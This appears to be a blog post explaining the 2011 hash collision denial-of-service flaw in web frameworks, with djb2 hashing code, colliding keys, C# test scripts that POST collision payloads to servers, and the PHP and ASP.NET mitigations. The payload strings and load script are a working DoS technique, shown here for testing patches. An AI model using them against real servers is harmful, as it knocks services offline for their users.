Home > General > Hash collision vulnerability

Hash collision vulnerability

On December 28, 2011, two security researchers presented an effective way to perform a DoS attack on many websites at the 28C3 conference. Their presentation can be found on Youtube.

Many web frameworks use hash tables to store data being sent from a client. Since hash tables are efficient at storing key value pairs, this makes them ideal for storing query strings or POST data.

At a basic level, hash tables are just an array of lists. You’ll typically see hash tables used in this form for storing key value pairs in C#:

hashtable["pepsi"] = "soda";
hashtable["pizza"] = "food";

To store this information, the keys “pepsi” and “pizza” will be hashed to an index using a deterministic hash function where the index is less than the size of the hash table. For example:

Hash("pepsi") = 2
Hash("pizza") = 5

In a best case scenario, an operation will take constant time O(1) since it does not rely on the number of entries in a table. A large number of the web frameworks use the hash function “djb2” or a variation of it. For example, this is the hash function (DJBX33A) used in PHP5:

public ulong Hash(string input)
{
    ulong hash = 5381;
   
    foreach (char c in input)
        hash = ((hash << 5) + hash) + c;

    return hash;
}

If we hash a list of strings, we can see the resulting hash is different for each string:

string[] keys = new string[]
{
    "hello world",
    "Hello World",
    "HELLO WORLD",
    "hELlO wOrLd"
};

foreach (string key in keys)
    Console.WriteLine (Hash(key));

And the output…

13876786532495509697
13827776004929097857
13826244427234115457
13875256318590737441

The hash function above is a fast and simple algorithm for generating string hashes. But due to its simplicity, it’s susceptible to hash collisions. It’s easy for an attacker to create many keys that generate the same hash.

In a worst case scenario, hash tables require O(n) time for look-up or delete operations since it has to iterate through the entire list under an index. This can become very slow if there are a large number of items that are hashed to the same index. To demonstrate an example hash collision, we can hash this list of strings using the Hash method we defined above:

string[] keys = new string[]
{
    "FYFYFYEzFYFYFYEzFYEzFYFYFYFYFY",
    "EzFYEzEzEzFYFYFYFYEzEzFYEzEzFY",
    "EzEzEzEzEzEzEzEzEzEzEzEzEzEzEz",
    "FYFYFYFYFYFYFYFYFYFYFYFYFYFYFY",
    "FYEzEzFYFYEzEzFYFYFYFYEzFYFYFY"
};

If we run this through our Hash method and print the results, we’ll see that the resulting hashes are identical:

10499256222776351254
10499256222776351254
10499256222776351254
10499256222776351254
10499256222776351254

Using this information, we can use these keys that cause a hash collision to generate query strings or POST data for our request:

EzEzEzEzEzEzEzEzEzEzEzEzEzEzEz=&EzEzEzEzEzEzEzEzEzEzEzEzEzEzFY=&EzEzEzEzEzEzEzEzEzEzEzEzEzFYEz=

A 1MB file with pre-computed values will contain over 30,000 collisions. A web framework will attempt to parse and insert all this data into a hash table. The time required for any operations will increase over time as more entries are inserted into the table. Each insert operation will need to iterate over the current list of entries. Using the formula \sum_{i=1}^n\frac{n(n+1)}{2}, we can see that there will be around 450,000,000 string comparisions to check for duplicates. This is only for a single 1MB request. Proof-of-concept samples were made available by the presenters here.

The numbers below were taken from the original presentation:

  • PHP:
    • Single 500k POST: 30 seconds to process.
    • Single 8MB POST: 288 minutes of CPU time.
    • 1 Gbit/s connection would allow you to keep 10,000 Core i7 processors busy.
  • ASP.NET
    • Single 4MB POST: 650 minutes of CPU time (IIS typically limits to 90 seconds).
    • 1 Gbit/s connection would allow you to keep 30,000 Core2 processors busy.

We have a website that runs on PHP and uses the Apache HTTP Server. At the time of this exploit, PHP did not have a workaround available in their stable builds. To address this issue, we set the LimitRequestBody size to 100k. We used this code to test our servers running PHP:

for (int i = 0; i < 10; i++)
{
    Task.Factory.StartNew(() =>
    {
        string data = File.ReadAllText(@"data.txt");

        HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://example.com");
        request.Method = "POST";
        request.ContentType = "application/x-www-form-urlencoded";
        request.ContentLength = data.Length;

        using (StreamWriter writer = new StreamWriter(request.GetRequestStream()))
            writer.Write(data);
    });
}

Before we applied the update, the CPU usage would remain at 100% until we restarted Apache. After the update, CPU usage would only spike for a split second.

For ASP.NET, Microsoft released an out-of-band security update on December 29, 2011. This update limits the number of parameters allowed in a single request to 1000. To test our servers running ASP.NET, we used this code:

string data = String.Join("=test&", Enumerable.Range(0, 1020));
           
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://example.com");

request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded";
request.ContentLength = data.Length;

using (StreamWriter writer = new StreamWriter(request.GetRequestStream()))
    writer.Write(data);

The code above generates 1020 parameters for our POST request. Before the update, we should expect to see a normal page response. After the update, ASP.NET should throw an exception:

As you can see in the stacktrace, the exception is being thrown in the ThrowIfMaxHttpCollectionKeysExceeded() method, which checks to see if the number of parameters has exceeded 1000.

On January 10, 2012, PHP released version 5.3.9, which added the max_input_vars directive. This is similiar to Microsoft’s workaround, which limits the number of parameters in a single request.

  1. July 24, 2017 at 5:00 am

    Hi blogger, do you monetize your malvinly.com ?
    There is easy way to earn decent money every month, just
    search on youtube : How to earn with wordai 4

  1. No trackbacks yet.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: